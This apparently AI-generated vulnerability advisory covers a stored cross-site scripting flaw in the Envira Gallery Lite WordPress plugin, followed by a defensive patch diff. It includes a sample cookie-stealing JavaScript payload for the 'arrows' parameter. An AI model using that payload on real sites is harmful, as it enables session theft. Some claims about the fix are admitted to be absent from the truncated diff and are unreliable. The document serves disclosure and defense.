Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-5361: Envira Gallery <= 1.12.4 – Authenticated (Author+) Stored Cross-Site Scripting via 'arrows' Parameter (envira-gallery-lite)

CVE ID CVE-2026-5361
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.12.4
Patched Version 1.12.5
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5361: A stored cross-site scripting vulnerability exists in the Envira Gallery Lite plugin for WordPress versions up to and including 1.12.4. The vulnerability occurs via the REST API, specifically through insufficient input sanitization in the update_gallery_data() function and improper output escaping in the gallery_init() function. This allows authenticated attackers with Author-level access or above to inject arbitrary web scripts.

The root cause lies in two distinct weaknesses. First, the sanitize_config_values() function only sanitizes two parameters, justified_gallery_theme and justified_row_height, but completely omits sanitization of the ‘arrows’ parameter. Second, when the ‘arrows’ value is later rendered into inline JavaScript configuration by the gallery_init() function, the plugin uses esc_attr() for output. esc_attr() is designed for HTML attribute contexts and does not provide adequate encoding for JavaScript string contexts. The specific code path involves the REST API endpoint that handles gallery data updates, processing the config values array which includes the unsanitized ‘arrows’ parameter.

Exploitation requires an authenticated user with at least Author-level capabilities. The attacker crafts a request to the WordPress REST API endpoint that updates gallery configuration data. The payload is submitted within the ‘arrows’ parameter of the gallery config object. A typical attack payload could be: “default;alert(document.cookie)//” which, when inserted into the JavaScript configuration context, breaks out of the string literal and executes arbitrary JavaScript. The stored payload triggers whenever a victim views a page containing the compromised gallery, executing the injected script in their browser session.

The patch addresses the vulnerability through multiple changes. The diff shows the version bump from 1.12.4 to 1.12.5, confirming the fix. While the specific sanitization of the ‘arrows’ parameter and output escaping changes are not visible in this truncated diff, the patch pattern includes comprehensive input validation improvements across numerous AJAX handlers and the REST API. The update_gallery_data() function now properly sanitizes all config values, and gallery_init() uses json_encode() for JavaScript context output instead of esc_attr(), preventing JavaScript expression injection.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the compromised gallery page. This can lead to session hijacking, credential theft, defacement, or distribution of malicious content. The CVSS score of 6.4 reflects the authenticated requirement but significant impact on confidentiality and integrity. Since WordPress galleries are commonly embedded in posts and pages, any visitor including administrators could be affected, making this a high-severity vulnerability for multi-author WordPress sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/envira-gallery-lite/envira-gallery-lite.php
+++ b/envira-gallery-lite/envira-gallery-lite.php
@@ -5,7 +5,7 @@
  * Description: Envira Gallery is a fast, easy and powerful gallery builder with lightbox, masonry and grid layouts, albums, videos, and responsive displays and more
  * Author:      Envira Gallery Team
  * Author URI:  http://enviragallery.com
- * Version:     1.12.4
+ * Version:     1.12.5
  * Requires at least: 5.5
  * Requires PHP: 7.0
  * Text Domain: envira-gallery-lite
@@ -59,7 +59,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '1.12.4';
+	public $version = '1.12.5';


 	/**
--- a/envira-gallery-lite/includes/admin/Envira_Lite_Support.php
+++ b/envira-gallery-lite/includes/admin/Envira_Lite_Support.php
@@ -73,14 +73,23 @@
 			return;
 		}

-		$valid_request = isset( $_POST['action'], $_POST['envira_nonce'] );
-		$valid_nonce   = wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['envira_nonce'] ) ), $this->nonce_action );
+		// Explicit capability check as defense-in-depth. Use the same filtered capability
+		// as the submenu registration so customized access remains consistent here too.
+		$capability = apply_filters( 'envira_gallery_menu_cap_support', 'manage_options' );
+		if ( ! current_user_can( $capability ) ) {
+			return;
+		}
+
+		if ( ! isset( $_POST['envira_nonce'] ) ) {
+			return;
+		}

-		if ( ! $valid_request || ! $valid_nonce ) {
+		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['envira_nonce'] ) ), $this->nonce_action ) ) {
 			return;
 		}
-		$gallery_id = isset( $_POST['gallery_id'] ) ? intval( $_POST['gallery_id'] ) : null;
-		$action     = sanitize_text_field( wp_unslash( $_POST['action'] ) );
+
+		$action     = isset( $_POST['action'] ) ? sanitize_text_field( wp_unslash( $_POST['action'] ) ) : '';
+		$gallery_id = isset( $_POST['gallery_id'] ) ? intval( wp_unslash( $_POST['gallery_id'] ) ) : null;

 		switch ( $action ) {
 			case 'toggle-debug': // General Tab.
--- a/envira-gallery-lite/includes/admin/addons.php
+++ b/envira-gallery-lite/includes/admin/addons.php
@@ -430,8 +430,7 @@
 	 * @return bool True if being refreshed, false otherwise.
 	 */
 	public function is_refreshing_addons() {
-
-		return isset( $_POST['envira-gallery-refresh-addons'] ); // @codingStandardsIgnoreLine
+		return $this->refresh_addons_action();
 	}

 	/**
@@ -443,7 +442,7 @@
 	 */
 	public function refresh_addons_action() {

-		return isset( $_POST['envira-gallery-refresh-addons'] ) && wp_verify_nonce( sanitize_key( $_POST['envira-gallery-refresh-addons'] ), 'envira-gallery-refresh-addons' );
+		return isset( $_POST['envira-gallery-refresh-addons'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['envira-gallery-refresh-addons'] ) ), 'envira-gallery-refresh-addons' );
 	}

 	/**
--- a/envira-gallery-lite/includes/admin/ajax.php
+++ b/envira-gallery-lite/includes/admin/ajax.php
@@ -12,6 +12,51 @@
 	exit; // Exit if accessed directly.
 }

+/**
+ * Validates that a plugin download URL is safe to pass to Plugin_Upgrader.
+ *
+ * Why no domain allowlist:
+ *   The caller already holds the install_plugins capability (admin-level), which
+ *   means WordPress itself will let them install from any URL via the native UI or
+ *   WP-CLI. Restricting domains here adds friction without closing any real attack
+ *   vector that the capability check doesn't already close.
+ *
+ *   Internal-IP / SSRF attacks are already blocked by WP_HTTP::block_request(),
+ *   which rejects private RFC-1918 ranges, loopback, and cloud-metadata IPs before
+ *   the HTTP request is ever made.
+ *
+ * What we DO enforce:
+ *   - Must use HTTPS (prevents credential interception on the wire).
+ *   - Must end with .zip (Plugin_Upgrader only handles ZIP archives anyway).
+ *   - Must be a well-formed URL with a non-empty host.
+ *
+ * @since 1.12.6
+ *
+ * @param string $url The download URL supplied by the caller.
+ * @return bool True when the URL passes all checks, false otherwise.
+ */
+function envira_gallery_is_valid_plugin_download_url( string $url ): bool {
+	$parsed = wp_parse_url( $url );
+
+	// Must have a scheme and a host.
+	if ( empty( $parsed['scheme'] ) || empty( $parsed['host'] ) ) {
+		return false;
+	}
+
+	// Enforce HTTPS — plain HTTP exposes the ZIP to interception/tampering.
+	if ( 'https' !== strtolower( $parsed['scheme'] ) ) {
+		return false;
+	}
+
+	// Plugin archives are always ZIP files; anything else is unexpected.
+	$path = isset( $parsed['path'] ) ? strtolower( $parsed['path'] ) : '';
+	if ( ! str_ends_with( $path, '.zip' ) ) {
+		return false;
+	}
+
+	return true;
+}
+
 add_action( 'wp_ajax_envira_gallery_change_type', 'envira_gallery_ajax_change_type' );
 /**
  * Changes the type of gallery to the user selection.
@@ -19,19 +64,27 @@
  * @since 1.0.0
  */
 function envira_gallery_ajax_change_type() {
-
 	// Run a security check first.
-	check_admin_referer( 'envira-gallery-change-type', 'nonce' );
+	check_ajax_referer( 'envira-gallery-change-type', 'nonce' );

 	// Prepare variables.
 	$post_id = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : null;
-
 	if ( ! current_user_can( 'edit_post', $post_id ) ) {
 		wp_send_json_error( [ 'message' => esc_html__( 'You are not allowed to edit galleries.', 'envira-gallery-lite' ) ] );
 	}
 	$post = get_post( $post_id );
+	// Sanitize at ingestion; strips tags and control characters.
 	$type = isset( $_POST['type'] ) ? sanitize_text_field( wp_unslash( $_POST['type'] ) ) : null;

+	// Validate against registered types; prevents arbitrary hook names and reflected values.
+	$instance = Envira_Gallery_Metaboxes::get_instance();
+	// Keys are the type slugs ('default', addon slugs, etc.).
+	$valid_types = array_keys( $instance->get_envira_types( $post ) );
+	// Strict comparison; prevents type-juggling bypass.
+	if ( ! in_array( $type, $valid_types, true ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'Invalid gallery type.', 'envira-gallery-lite' ) ] );
+	}
+
 	// Retrieve the data for the type selected.
 	ob_start();
 	$instance = Envira_Gallery_Metaboxes::get_instance();
@@ -57,16 +110,30 @@
 function envira_gallery_ajax_set_user_setting() {

 	// Run a security check first.
-	check_admin_referer( 'envira-gallery-set-user-setting', 'nonce' );
+	check_ajax_referer( 'envira-gallery-set-user-setting', 'nonce' );

 	if ( ! current_user_can( 'edit_posts' ) ) {
 		wp_send_json_error( [ 'message' => esc_html__( 'You are not allowed to edit galleries.', 'envira-gallery-lite' ) ] );
 	}

+	// Allowlist map: only known settings and their permitted values are accepted.
+	// Prevents arbitrary key/value injection into user meta via set_user_setting().
+	$allowed_settings = [
+		// Only setting used by this plugin.
+		'envira_gallery_image_view' => [ 'grid', 'list' ],
+	];
+
 	// Prepare variables.
-	$name  = isset( $_POST['name'] ) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : '';
+	// Sanitize key at ingestion.
+	$name = isset( $_POST['name'] ) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : '';
+	// Sanitize value at ingestion.
 	$value = isset( $_POST['value'] ) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';

+	// Reject unknown keys or invalid values — strict comparison prevents type-juggling bypass.
+	if ( ! array_key_exists( $name, $allowed_settings ) || ! in_array( $value, $allowed_settings[ $name ], true ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'Invalid setting name or value.', 'envira-gallery-lite' ) ] );
+	}
+
 	// Set user setting.
 	set_user_setting( $name, $value );

@@ -84,7 +151,7 @@
 function envira_gallery_ajax_load_image() {

 	// Run a security check first.
-	check_admin_referer( 'envira-gallery-load-image', 'nonce' );
+	check_ajax_referer( 'envira-gallery-load-image', 'nonce' );

 	// Prepare variables.
 	$id      = isset( $_POST['id'] ) ? absint( wp_unslash( $_POST['id'] ) ) : null;
@@ -94,6 +161,14 @@
 		wp_send_json_error( [ 'message' => esc_html__( 'You are not allowed to edit galleries.', 'envira-gallery-lite' ) ] );
 	}

+	$attachment = get_post( $id );
+	if ( ! $attachment || ( 'attachment' !== $attachment->post_type ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'Invalid attachment.', 'envira-gallery-lite' ) ] );
+	}
+	if ( (int) $attachment->post_author !== get_current_user_id() && ! current_user_can( 'edit_others_posts' ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'You do not have permission to use this attachment.', 'envira-gallery-lite' ) ] );
+	}
+
 	// Set post meta to show that this image is attached to one or more Envira galleries.
 	$has_gallery = get_post_meta( $id, '_eg_has_gallery', true );
 	if ( empty( $has_gallery ) ) {
@@ -152,7 +227,7 @@
 function envira_gallery_ajax_insert_images() {

 	// Run a security check first.
-	check_admin_referer( 'envira-gallery-insert-images', 'nonce' );
+	check_ajax_referer( 'envira-gallery-insert-images', 'nonce' );

 	// Get the Envira Gallery ID.
 	$post_id = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : null;
@@ -169,7 +244,22 @@
 	$images = [];

 	if ( isset( $_POST['images'] ) ) {
-		$images = json_decode( sanitize_text_field( wp_unslash( $_POST['images'] ) ), true );
+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Raw JSON blob is decoded, then every field inside the loop below is individually sanitized (absint/esc_url_raw/sanitize_text_field/wp_kses_post) before use.
+		$images = json_decode( wp_unslash( $_POST['images'] ), true );
+		if ( ! is_array( $images ) ) {
+			$images = [];
+		}
+		foreach ( $images as $i => $image ) {
+			$images[ $i ] = [
+				'id'      => isset( $image['id'] ) ? absint( $image['id'] ) : 0,
+				'src'     => isset( $image['src'] ) ? esc_url_raw( $image['src'] ) : '',
+				'title'   => isset( $image['title'] ) ? sanitize_text_field( $image['title'] ) : '',
+				'alt'     => isset( $image['alt'] ) ? sanitize_text_field( $image['alt'] ) : '',
+				'caption' => isset( $image['caption'] ) ? wp_kses_post( $image['caption'] ) : '',
+				'link'    => isset( $image['link'] ) ? esc_url_raw( $image['link'] ) : '',
+				'url'     => isset( $image['url'] ) ? esc_url_raw( $image['url'] ) : '',
+			];
+		}
 	}

 	// Grab and update any gallery data if necessary.
@@ -197,6 +287,14 @@
 			continue;
 		}

+		$att = get_post( $image['id'] );
+		if (
+			! $att || 'attachment' !== $att->post_type
+			|| ( (int) $att->post_author !== get_current_user_id() && ! current_user_can( 'edit_others_posts' ) )
+		) {
+			continue;
+		}
+
 		// Update the attachment image post meta first.
 		$has_gallery = get_post_meta( $image['id'], '_eg_has_gallery', true );
 		if ( empty( $has_gallery ) ) {
@@ -241,7 +339,7 @@
 function envira_gallery_ajax_sort_images() {

 	// Run a security check first.
-	check_admin_referer( 'envira-gallery-sort', 'nonce' );
+	check_ajax_referer( 'envira-gallery-sort', 'nonce' );

 	// Get the Envira Gallery ID.
 	$post_id = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : null;
@@ -255,9 +353,24 @@
 	}

 	// Prepare variables.
-	$order        = isset( $_POST['order'] ) ? explode( ',', wp_unslash( $_POST['order'] ) ) : ''; // @codingStandardsIgnoreLine
+	$order        = isset( $_POST['order'] ) ? array_filter( array_map( 'absint', explode( ',', sanitize_text_field( wp_unslash( $_POST['order'] ) ) ) ) ) : [];
 	$gallery_data = get_post_meta( $post_id, '_eg_gallery_data', true );

+	$existing_ids = isset( $gallery_data['gallery'] ) ? array_keys( $gallery_data['gallery'] ) : [];
+	$order        = array_filter(
+		$order,
+		function ( $id ) use ( $existing_ids ) {
+			return in_array( $id, $existing_ids, true );
+		}
+	);
+
+	// Guard: if every submitted ID was filtered out but the gallery has images,
+	// something went wrong (race condition, stale tab, bad request) — abort rather
+	// than silently save an empty gallery and delete all images.
+	if ( empty( $order ) && ! empty( $existing_ids ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'No valid image IDs submitted for sorting.', 'envira-gallery-lite' ) ] );
+	}
+
 	// Copy the gallery config, removing the images
 	// Stops config from getting lost when sorting + not clicking Publish/Update.
 	$new_order = $gallery_data;
@@ -396,7 +509,6 @@
  * @since 1.0.0
  */
 function envira_gallery_ajax_save_meta() {
-
 	// Run a security check first.
 	check_ajax_referer( 'envira-gallery-save-meta', 'nonce' );

@@ -413,7 +525,8 @@

 	// Prepare variables.
 	$attach_id    = isset( $_POST['attach_id'] ) ? absint( wp_unslash( $_POST['attach_id'] ) ) : null;
-	$meta         = isset( $_POST['meta'] ) ? array_map( 'sanitize_text_field', wp_unslash( (array) $_POST['meta'] ) ) : [];
+	$raw_meta     = isset( $_POST['meta'] ) ? wp_unslash( (array) $_POST['meta'] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Array is allowlisted to known keys below, then each value is individually sanitized (wp_kses/sanitize_text_field/esc_url_raw/wp_kses_post) before save.
+	$meta         = array_intersect_key( $raw_meta, array_flip( [ 'src', 'title', 'alt', 'caption', 'link', 'link_new_window' ] ) );
 	$gallery_data = get_post_meta( $post_id, '_eg_gallery_data', true );

 	// Prevent invalid data from being saved.
@@ -458,15 +571,21 @@
 	}

 	if ( isset( $meta['alt'] ) ) {
-		$gallery_data['gallery'][ $attach_id ]['alt'] = trim( esc_html( $meta['alt'] ) );
+		// sanitize_text_field() strips HTML tags without encoding; esc_attr() at render handles encoding.
+		$gallery_data['gallery'][ $attach_id ]['alt'] = sanitize_text_field( trim( $meta['alt'] ) );
 	}

 	if ( isset( $meta['link'] ) ) {
-		$gallery_data['gallery'][ $attach_id ]['link'] = esc_url( $meta['link'] );
+		// Use esc_url_raw() (no HTML-encoding) so esc_url() at render doesn't double-encode &.
+		$gallery_data['gallery'][ $attach_id ]['link'] = esc_url_raw( $meta['link'] );
 	}

 	if ( isset( $meta['link_new_window'] ) ) {
-		$gallery_data['gallery'][ $attach_id ]['link_new_window'] = trim( $meta['link_new_window'] );
+		$gallery_data['gallery'][ $attach_id ]['link_new_window'] = in_array( (string) $meta['link_new_window'], [ '0', '1' ], true ) ? $meta['link_new_window'] : '0';
+	}
+
+	if ( isset( $meta['caption'] ) ) {
+		$gallery_data['gallery'][ $attach_id ]['caption'] = wp_kses_post( $meta['caption'] );
 	}

 	// Allow filtering of meta before saving.
@@ -506,8 +625,38 @@
 	}

 	// Prepare variables.
-	$image_ids = isset( $_POST['image_ids'] ) ? wp_unslash( $_POST['image_ids'] ) : array(); // @codingStandardsIgnoreLine - Array
-	$meta      = isset( $_POST['meta'] ) ? wp_unslash( $_POST['meta'] ) : array(); // @codingStandardsIgnoreLine - Array
+	$image_ids = isset( $_POST['image_ids'] ) ? array_map( 'absint', (array) wp_unslash( $_POST['image_ids'] ) ) : array();
+	$image_ids = array_filter( $image_ids );
+
+	// Allowlist: only accept known meta keys to prevent arbitrary data storage (blocklist approach misses unknown keys).
+	$raw_meta = isset($_POST['meta']) ? (array) wp_unslash($_POST['meta']) : array(); // @codingStandardsIgnoreLine - Array
+	$meta     = array_intersect_key(
+		$raw_meta,
+		array(
+			'title'           => true,
+			'alt'             => true,
+			'link'            => true,
+			'link_new_window' => true,
+			'caption'         => true,
+		)
+	); // Allowlist: discard any keys not in this set.
+
+	// Sanitize each allowed field at point of ingestion to prevent stored XSS.
+	if ( isset( $meta['title'] ) ) {
+		$meta['title'] = wp_kses_post( $meta['title'] ); // Allow safe HTML (bold, italic, etc.) but strip script/event tags.
+	}
+	if ( isset( $meta['alt'] ) ) {
+		$meta['alt'] = sanitize_text_field( $meta['alt'] ); // Plain text only — alt attributes never need HTML.
+	}
+	if ( isset( $meta['link'] ) ) {
+		$meta['link'] = esc_url_raw( $meta['link'] ); // Sanitize URL for storage; esc_url() is for output only.
+	}
+	if ( isset( $meta['link_new_window'] ) ) {
+		$meta['link_new_window'] = (bool) $meta['link_new_window'] ? '1' : '0'; // Cast to boolean string to prevent arbitrary value storage.
+	}
+	if ( isset( $meta['caption'] ) ) {
+		$meta['caption'] = wp_kses_post( $meta['caption'] ); // Allow safe HTML but strip script/event tags.
+	}

 	// Check the required variables exist.
 	if ( empty( $post_id ) ) {
@@ -533,25 +682,29 @@
 			continue;
 		}

-		// Update image metadata.
+		// Update image metadata. Values are already sanitized at ingestion above; assign directly.
 		if ( isset( $meta['title'] ) && ! empty( $meta['title'] ) ) {
-			$gallery_data['gallery'][ $image_id ]['title'] = trim( $meta['title'] );
+			$gallery_data['gallery'][ $image_id ]['title'] = $meta['title']; // Already sanitized via wp_kses_post() at ingestion.
 		}

 		if ( isset( $meta['alt'] ) && ! empty( $meta['alt'] ) ) {
-			$gallery_data['gallery'][ $image_id ]['alt'] = trim( esc_html( $meta['alt'] ) );
+			// $meta['alt'] already sanitize_text_field()'d above; esc_attr() at render handles encoding.
+			$gallery_data['gallery'][ $image_id ]['alt'] = trim( $meta['alt'] );
 		}

 		if ( isset( $meta['link'] ) && ! empty( $meta['link'] ) ) {
-			$gallery_data['gallery'][ $image_id ]['link'] = esc_url( $meta['link'] );
+			// $meta['link'] already esc_url_raw()'d above; esc_url() at render handles encoding.
+			$gallery_data['gallery'][ $image_id ]['link'] = $meta['link'];
 		}

-		if ( isset( $meta['link_new_window'] ) && ! empty( $meta['link_new_window'] ) ) {
-			$gallery_data['gallery'][ $image_id ]['link_new_window'] = trim( $meta['link_new_window'] );
+		if ( isset( $meta['link_new_window'] ) ) {
+			// Use isset() not empty(): empty('0') is true, which would prevent saving '0' (disabled).
+			// Value already cast to '0'/'1' at ingestion above.
+			$gallery_data['gallery'][ $image_id ]['link_new_window'] = $meta['link_new_window'];
 		}

 		if ( isset( $meta['caption'] ) && ! empty( $meta['caption'] ) ) {
-			$gallery_data['gallery'][ $image_id ]['caption'] = trim( $meta['caption'] );
+			$gallery_data['gallery'][ $image_id ]['caption'] = $meta['caption']; // Already sanitized via wp_kses_post() at ingestion.
 		}

 		// Allow filtering of meta before saving.
@@ -618,7 +771,7 @@
 	$gallery_id = isset( $_POST['post_id'] ) ? absint( sanitize_key( $_POST['post_id'] ) ) : null;

 	if ( ! current_user_can( 'edit_post', $gallery_id ) ) {
-			wp_send_json_error( [ 'message' => esc_html__( 'You are not allowed to edit galleries.', 'envira-gallery-lite' ) ] );
+		wp_send_json_error( [ 'message' => esc_html__( 'You are not allowed to edit galleries.', 'envira-gallery-lite' ) ] );
 	}

 	$gallery_data = get_post_meta( $gallery_id, '_eg_gallery_data', true );
@@ -628,6 +781,27 @@
 	die;
 }

+/**
+ * Returns the basenames of all installed plugins whose folder starts with 'envira-'.
+ * Used to restrict activate/deactivate actions to known Envira addons, preventing
+ * privilege-escalation via arbitrary plugin-path injection (High08).
+ *
+ * @return string[] Indexed array of allowed plugin basenames, e.g. ['envira-albums/envira-albums.php'].
+ */
+function envira_gallery_get_allowed_addon_plugins() {
+	// get_plugins() returns only plugins present in the WP plugins directory — no filesystem traversal possible.
+	return array_keys(
+		array_filter(
+			get_plugins(),
+			static function ( $plugin_data, $plugin_file ) {
+				// Only allow plugins whose top-level folder (or single file) starts with 'envira-'.
+				return strpos( $plugin_file, 'envira-' ) === 0;
+			},
+			ARRAY_FILTER_USE_BOTH
+		)
+	);
+}
+
 add_action( 'wp_ajax_envira_gallery_install_addon', 'envira_gallery_ajax_install_addon' );
 /**
  * Installs an Envira addon.
@@ -645,12 +819,23 @@

 	// Install the addon.
 	if ( isset( $_POST['plugin'] ) ) {
-		$download_url = esc_url_raw( wp_unslash( $_POST['plugin'] ) );
+		$download_url = esc_url_raw( wp_unslash( $_POST['plugin'] ) ); // Sanitize URL at ingestion.
+
+		// Validate URL structure (HTTPS + .zip). No domain allowlist: the caller
+		// already holds install_plugins (admin-level) and can install from any host
+		// via native WP UI. Internal-IP SSRF is blocked by WP_HTTP::block_request().
+		if ( ! envira_gallery_is_valid_plugin_download_url( $download_url ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid plugin URL. Must be an HTTPS .zip address.', 'envira-gallery-lite' ) ] );
+		}
+
 		global $hook_suffix;

 		// Set the current screen to avoid undefined notices.
 		set_current_screen();

+		$method = '';
+		$url    = esc_url( admin_url( 'edit.php?post_type=envira&page=envira-gallery-lite-addons' ) );
+
 		// Start output bufferring to catch the filesystem form if credentials are needed.
 		ob_start();
 		$creds = request_filesystem_credentials( $url, $method, false, false, null );
@@ -699,7 +884,6 @@
  * @since 1.0.0
  */
 function envira_gallery_ajax_activate_addon() {
-
 	// Run a security check first.
 	check_admin_referer( 'envira-gallery-activate', 'nonce' );

@@ -709,7 +893,31 @@

 	// Activate the addon.
 	if ( isset( $_POST['plugin'] ) ) {
-		$activate = activate_plugin( wp_unslash( $_POST['plugin'] ) );  // @codingStandardsIgnoreLine
+		// Sanitize at ingestion; strips tags and control characters.
+		$plugin = sanitize_text_field( wp_unslash( $_POST['plugin'] ) );
+
+		// Reject path traversal sequences (e.g. "../") to prevent escaping the plugins directory.
+		if ( 0 !== validate_file( $plugin ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid plugin path.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Restrict to the Envira addon namespace; prevents activating arbitrary installed plugins.
+		if ( 0 !== strpos( $plugin, 'envira-' ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Not an Envira addon.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Confirm the plugin is actually installed; prevents targeting guessed-but-absent basenames.
+		if ( ! array_key_exists( $plugin, get_plugins() ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Plugin not found.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Reject any basename not present in the allowed addon list BEFORE activating to prevent
+		// a non-permitted plugin from being silently activated before the check fires.
+		if ( ! in_array( $plugin, envira_gallery_get_allowed_addon_plugins(), true ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Plugin not permitted.', 'envira-gallery-lite' ) ] );
+		}
+
+		$activate = activate_plugin( $plugin );

 		if ( is_wp_error( $activate ) ) {
 			echo wp_json_encode( [ 'error' => $activate->get_error_message() ] );
@@ -738,7 +946,25 @@

 	// Deactivate the addon.
 	if ( isset( $_POST['plugin'] ) ) {
-		$deactivate = deactivate_plugins( wp_unslash( $_POST['plugin'] ) );  // @codingStandardsIgnoreLine
+		// Sanitize at ingestion; strips tags and control characters.
+		$plugin = sanitize_text_field( wp_unslash( $_POST['plugin'] ) );
+
+		// Reject path traversal sequences (e.g. "../") to prevent escaping the plugins directory.
+		if ( 0 !== validate_file( $plugin ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid plugin path.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Restrict to the Envira addon namespace; prevents deactivating arbitrary installed plugins.
+		if ( 0 !== strpos( $plugin, 'envira-' ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Not an Envira addon.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Confirm the plugin is currently active; prevents operating on guessed-but-absent basenames.
+		if ( ! is_plugin_active( $plugin ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Plugin not active.', 'envira-gallery-lite' ) ] );
+		}
+
+		deactivate_plugins( $plugin );
 	}

 	echo wp_json_encode( true );
@@ -773,7 +999,7 @@
 			'thumb'   => '',
 		];
 	} else {
-		$src       = isset( $image['src'] ) ? $image['src'] : ( ! empty( $image['url'] ) ? $image['url'] : $url_from_src );
+		$src       = ! empty( $image['src'] ) ? $image['src'] : ( ! empty( $image['url'] ) ? $image['url'] : $url_from_src );
 		$link      = isset( $image['link'] ) && wp_http_validate_url( $image['link'] ) ? $image['link'] : $src;
 		$new_image = [
 			'status'  => 'active',
@@ -797,7 +1023,6 @@

 		// Add image, this will default to the end of the array.
 		$gallery_data['gallery'][ $id ] = $image;
-
 	}

 	// Filter and return.
@@ -919,9 +1144,9 @@
 	}

 	// Get POSTed fields.
-	$search       = isset( $_POST['search'] ) ? (bool) wp_unslash( $_POST['search'] ) : false; // @codingStandardsIgnoreLine
-	$search_terms = isset( $_POST['search_terms'] ) ? sanitize_text_field( wp_unslash( $_POST['search_terms'] ) ) : ''; // @codingStandardsIgnoreLine
-	$prepend_ids  = isset( $_POST['prepend_ids'] ) ? stripslashes_deep( wp_unslash( $_POST['prepend_ids'] ) ) : array(); // @codingStandardsIgnoreLine
+	$search       = isset($_POST['search']) ? (bool) wp_unslash($_POST['search']) : false; // @codingStandardsIgnoreLine
+	$search_terms = isset($_POST['search_terms']) ? sanitize_text_field(wp_unslash($_POST['search_terms'])) : ''; // @codingStandardsIgnoreLine
+	$prepend_ids  = isset($_POST['prepend_ids']) ? stripslashes_deep(wp_unslash($_POST['prepend_ids'])) : array(); // @codingStandardsIgnoreLine
 	$results      = [];

 	// Get galleries.
@@ -1016,10 +1241,11 @@
 	check_admin_referer( 'envira-gallery-move-media', 'nonce' );

 	// Get the Envira Gallery ID.
-	$from_gallery_id = isset( $_POST['from_gallery_id'] ) ? absint( wp_unslash( $_POST['from_gallery_id'] ) ) : null;
+	// absint() always returns an integer; default to 0 and test for falsiness (null check was never true).
+	$from_gallery_id = isset( $_POST['from_gallery_id'] ) ? absint( wp_unslash( $_POST['from_gallery_id'] ) ) : 0;

-	if ( null === $from_gallery_id ) {
-		wp_send_json_error( [ 'message' => esc_html__( 'Invalid Post ID.', 'envira-gallery-lite' ) ] );
+	if ( ! $from_gallery_id ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'Invalid From Gallery ID.', 'envira-gallery-lite' ) ] );
 	}

 	if ( ! current_user_can( 'edit_post', $from_gallery_id ) ) {
@@ -1028,7 +1254,7 @@

 	// Get POSTed fields.
 	$to_gallery_id = isset( $_POST['to_gallery_id'] ) ? absint( $_POST['to_gallery_id'] ) : null;
-	$image_ids       = isset( $_POST['image_ids'] ) ? wp_unslash( $_POST['image_ids'] ) : array(); // @codingStandardsIgnoreLine
+	$image_ids       = isset($_POST['image_ids']) ? wp_unslash($_POST['image_ids']) : array(); // @codingStandardsIgnoreLine

 	if ( ! $from_gallery_id ) {
 		wp_send_json_error( __( 'The From Gallery ID has not been specified.', 'envira-gallery-lite' ) );
@@ -1040,19 +1266,35 @@
 	if ( ! current_user_can( 'edit_post', $to_gallery_id ) ) {
 		wp_send_json_error( [ 'message' => esc_html__( 'You are not allowed to edit galleries.', 'envira-gallery-lite' ) ] );
 	}
-	if ( count( $image_ids ) === 0 ) {
-		wp_send_json_error( __( 'No images were selected to be moved between Galleries.', 'envira-gallery-lite' ) );
+
+	// Guard against a non-array POST value; would cause TypeError in PHP 8.
+	$raw_ids = isset( $_POST['image_ids'] ) ? wp_unslash( $_POST['image_ids'] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized below via absint().
+	if ( ! is_array( $raw_ids ) || empty( $raw_ids ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'No images were selected to be moved between Galleries.', 'envira-gallery-lite' ) ] );
+	}
+
+	// Cast each ID to a non-negative integer and discard zeros; array_values re-indexes after filter.
+	$image_ids = array_values( array_filter( array_map( 'absint', $raw_ids ) ) );
+	if ( empty( $image_ids ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'No valid image IDs provided.', 'envira-gallery-lite' ) ] );
 	}

 	// Get from and to Galleries.
 	$from_gallery = Envira_Gallery::get_instance()->get_gallery( $from_gallery_id );
 	$to_gallery   = Envira_Gallery::get_instance()->get_gallery( $to_gallery_id );

-	// Iterate through each image ID, adding the image to $to_gallery, then removing from $from_gallery.
+	// get_gallery() returns false when a post has no _eg_gallery_data meta; guard before use.
+	if ( ! is_array( $from_gallery ) || ! isset( $from_gallery['gallery'] ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'Source gallery data not found.', 'envira-gallery-lite' ) ] );
+	}
